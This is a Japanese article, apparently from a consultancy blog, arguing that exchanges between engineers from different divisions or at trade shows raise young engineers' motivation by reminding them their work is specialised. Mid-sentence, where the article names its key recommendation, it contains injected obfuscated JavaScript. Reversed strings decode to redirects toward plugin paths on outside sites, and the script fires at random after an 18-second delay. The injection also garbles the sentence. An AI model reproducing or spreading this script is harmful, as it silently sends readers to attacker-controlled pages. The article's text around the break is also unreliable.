モチベーション向上に対する《技術者交流》の重要性

モチベーション向上に対する《技術者交流》の重要性

同じ会社内でも異なる事業部がある場合、若手技術者のモチベーション低下を防ぐ施策の一つとして、技術者同士の交流を心がけてみてはいかがでしょうか。

日々、厳しい開発業務に従事しなくてはいけないことの多い技術者。

目の前の仕事を淡々とこなすだけでは、モチベーションが上がらずに、新しいアイデアも出にくいことが多いと思います。

 

こんなとき、技術者のモチベーションアップに最適なのが、

$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torong>「技術者交流」

です。

 

理想的には機密などの問題が少ない同じ会社内がいいのですが、もしそれほどの会社規模がなければ、関連業界の展示会に技術展示を行う、といったことでもいいと思います。

技術者交流の主目的は、

「日々、自分たちの行っている仕事はとても専門的である」

ということを再認識してもらうことにあります。

 

雑用と思っている仕事も、いやだなぁと思う仕事も、外から見るととても専門的で有意義な仕事であるのが一般的なのです。

専門性の高さこそが絶対正義という「専門性至上主義」を持つ技術者たち。

彼ら、彼女らにとって、

 

「自分の仕事が専門的である」

ということは、何よりのほめ言葉であり、当人たちのモチベーションアップに直結することなのです。

職場の雰囲気がマンネリ化し、技術者たちのモチベーションも上がらないと感じることが多くなってきているようでしたら、是非技術者交流というものを行ってみてください。


◎FRP Consultant 株式会社 代表取締役社長◎福井大学非常勤講師 ◎FRP(繊維強化プラスチック)を用いた製品の技術的課題解決、該関連業界への参入を検討、並びに該業界での事業拡大を検討する企業をサポートする技術コンサルティング企業代表。現在も国内外の研究開発最前線で先導、指示するなど、評論家ではない実践力を重視。複数の海外ジャーナルにFull paperを掲載させた高い専門性に裏付けられた技術サポートには定評がある。